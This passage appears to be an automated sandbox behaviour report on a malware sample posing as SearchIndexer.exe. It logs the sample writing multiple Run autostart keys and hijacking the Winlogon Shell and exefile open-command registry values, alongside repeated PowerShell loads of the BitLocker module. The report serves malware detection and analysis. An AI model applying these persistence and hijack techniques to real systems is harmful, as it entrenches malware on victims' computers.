                              Source: C:\Users\user\Desktop\SearchIndexer.exeKey value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\exefile\shell\open\command NULLJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeKey value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\exefile\shell\open\command NULLJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeKey value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon ShellJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeKey value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon ShellJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeKey value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon ShellJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeKey value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon ShellJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeKey value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon ShellJump to behavior
                              Creates multiple autostart registry keys
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeRegistry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run RuntimeBrokerJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeRegistry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run tAVtSoJGTaCxrZiXcJnJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeRegistry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run SearchIndexerJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeRegistry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run tAVtSoJGTaCxrZiXcJnJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeRegistry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run tAVtSoJGTaCxrZiXcJnJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeRegistry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run RuntimeBrokerJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeRegistry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run RuntimeBrokerJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeRegistry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run RuntimeBrokerJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeRegistry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run RuntimeBrokerJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeRegistry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run SearchIndexerJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeRegistry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run SearchIndexerJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeRegistry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run SearchIndexerJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeRegistry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run SearchIndexerJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeRegistry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run tAVtSoJGTaCxrZiXcJnJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeRegistry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run tAVtSoJGTaCxrZiXcJnJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeRegistry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run tAVtSoJGTaCxrZiXcJnJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeRegistry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run tAVtSoJGTaCxrZiXcJnJump to behavior

                              Hooking and other Techniques for Hiding and Protection

                              barindex
                              Loading BitLocker PowerShell Module
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1Jump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1Jump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1Jump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1Jump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1Jump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1Jump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1Jump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
                              Source: C:\Users\user\Desktop\SearchIndexer.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
